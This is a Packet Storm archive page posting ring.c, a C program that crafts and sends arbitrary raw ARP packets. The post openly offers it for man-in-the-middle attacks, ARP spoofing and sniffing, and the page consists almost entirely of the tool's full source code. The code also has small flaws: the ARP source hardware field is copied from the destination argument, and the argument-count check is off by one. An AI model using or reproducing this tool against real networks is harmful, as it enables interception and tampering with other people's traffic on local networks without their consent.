exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ring.c

ring.c
Posted Sep 2, 2002
Authored by Lupsyn | Site mojodo.it

Ring.c is a simple arp packet generator. Does not use libcap or libnet. Use for for man in the middle, arp spoofing and sniffing. Or you can add the code in your favorite sendpacket.h.

tags | spoof
systems | unix
SHA-256 | ee1da17fa73116737eb16e2f273ed5b31c06d4f166ef7e5ccafe68d2a1bca1bf

ring.c

Change Mirror Download
 /********************************************************************
* *
* Ring.c Un Arp packet sender. E' stato ideato per *
* implementare alcuni attacchi giĆ  noti *
* e stranoti. Forse le libnet fanno lo *
* stesso in maniera piu' facile e veloce... *
* Ma volete ammettere la soddisfazione che *
* si prova ... quando si vede che sulla tua *
* lan girano pacchetti con il tuo marchio *
* di fabbrica ... :D *
* *
* Greets yuri volobuev and his arp_fun.txt,raptor *
* and his havoc,sorbo and his sarp.My mjd *
* brothers,my girl,and my family. *
* *
*********************************************************************/



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/sockios.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>



struct arp_packet
{
u_char Dst_e_hw[ETH_ALEN];
u_char Src_e_hw[ETH_ALEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char Src_a_hw[ETH_ALEN];
u_char Src_a_ip[4];
u_char Dst_a_hw[ETH_ALEN];
u_char Dst_a_ip[4];
};



void die(char* str);
void get_hw_addr(char* buf,char* str);
void SendArpPkt(char *dev,char *src_e_hw, char *dst_e_hw, int op , char *src_a_hw, char *src_a_ip,char *dst_a_hw,char *dst_a_ip);
void usage();
int getdevindex(int sock, char *name);
int strip(unsigned char *dst, char *str);



void usage ()
{
fprintf (stderr, "\n[*]------------------------------Ring------------------------------[*]\n"
" * Coder : lupsyn *\n"
" * Greets : http://www.mojodo.it *\n"
" *------------------------------------------------------------------*\n"
" * *\n"
" * Usage : <dev> <SEmac> <DEmac> <Op> <SAmac> <Sip> <DAmac> <Dip> *\n"
" * *\n"
" * <dev> : Shuld We send the packet over something ? :D *\n"
" * <SEmac>: Source mac address for ethernet header *\n"
" * <DEmac>: Dest mac address for ethernet header *\n"
" * <Op> : Opcode for arp header, read my tut or cat if_arp.h *\n"
" * <SAmac>: Source mac address for arp header *\n"
" * <Sip> : Source ip address for arp header *\n"
" * <DAmac>: Dest mac address for arp header *\n"
" * <Dip> : Dest ip address for arp header *\n"
" * *\n"
"[*]----------------------------------------------------------------[*]\n\n");
exit(0);
}



main(int argc, char *argv[])
{
if (argc<8) usage();
fprintf (stderr,"\nLet's go boy... :p\n\n");
SendArpPkt(argv[1],argv[2],argv[3],atoi(argv[4]),argv[5],argv[6],argv[7],argv[8]);

}



void die(char* str)
{
fprintf(stderr,"\n[***] Attention exit for the followent reason : %s\n",str);
exit(0);
}



int getdevindex(int sock, char *name)
{
struct ifreq ifr;

memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if(ioctl(sock, SIOCGIFINDEX, &ifr) == -1)
die("I can't get device flags");
fprintf(stderr,"[*] Get ethernet flags....\n");
return ifr.ifr_ifindex;

}



void get_hw_addr(char *buf,char *str)
{
int i;
char c,val;

for(i=0;i<ETH_ALEN;i++)
{
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf++ |= val;
if(*str == ':')str++;
}
}



int strip(unsigned char *dst, char *str)
{
if(sscanf(str,"%d.%d.%d.%d",&dst[0],&dst[1],&dst[2],&dst[3])==4)
return 0;
return -1;
}



void SendArpPkt(char *dev,char *src_e_hw, char *dst_e_hw, int op , char *src_a_hw, char *src_a_ip,char *dst_a_hw,char *dst_a_ip)
{
struct sockaddr_ll to;
struct arp_packet pkt;
int sock;

if( (sock = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL))) == -1) die("Can't create socket");
if( (to.sll_ifindex = getdevindex(sock,dev)) == -1) die("Can't get interface");

//Eth header
get_hw_addr(pkt.Src_e_hw,src_e_hw);
get_hw_addr(pkt.Dst_e_hw,dst_e_hw);
pkt.frame_type = htons(ETH_P_ARP);
fprintf (stderr,"[*] Eth header is ready....\n");

//arp
pkt.hw_type = htons(ARPHRD_ETHER);
pkt.prot_type = htons(ETH_P_IP);
pkt.hw_addr_size = ETH_ALEN;
pkt.prot_addr_size = 4;
pkt.op=htons(op);
fprintf(stderr,"[*] Arp header is ready....\n");

//data
get_hw_addr(pkt.Dst_a_hw,dst_a_hw);
get_hw_addr(pkt.Src_a_hw,dst_a_hw);
strip(pkt.Src_a_ip,src_a_ip);
strip(pkt.Dst_a_ip,dst_a_ip);

//write and send
if(sendto(sock,&pkt,sizeof(pkt),0,(struct sockaddr*)&to,sizeof(to))<0) die ("I can't send the packet");
fprintf (stderr,"[*] The packet is send. The Matrix is around you!\n");
fprintf (stderr,"\nBy lupsyn No(c) http://www.mojodo.it\n\n");
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close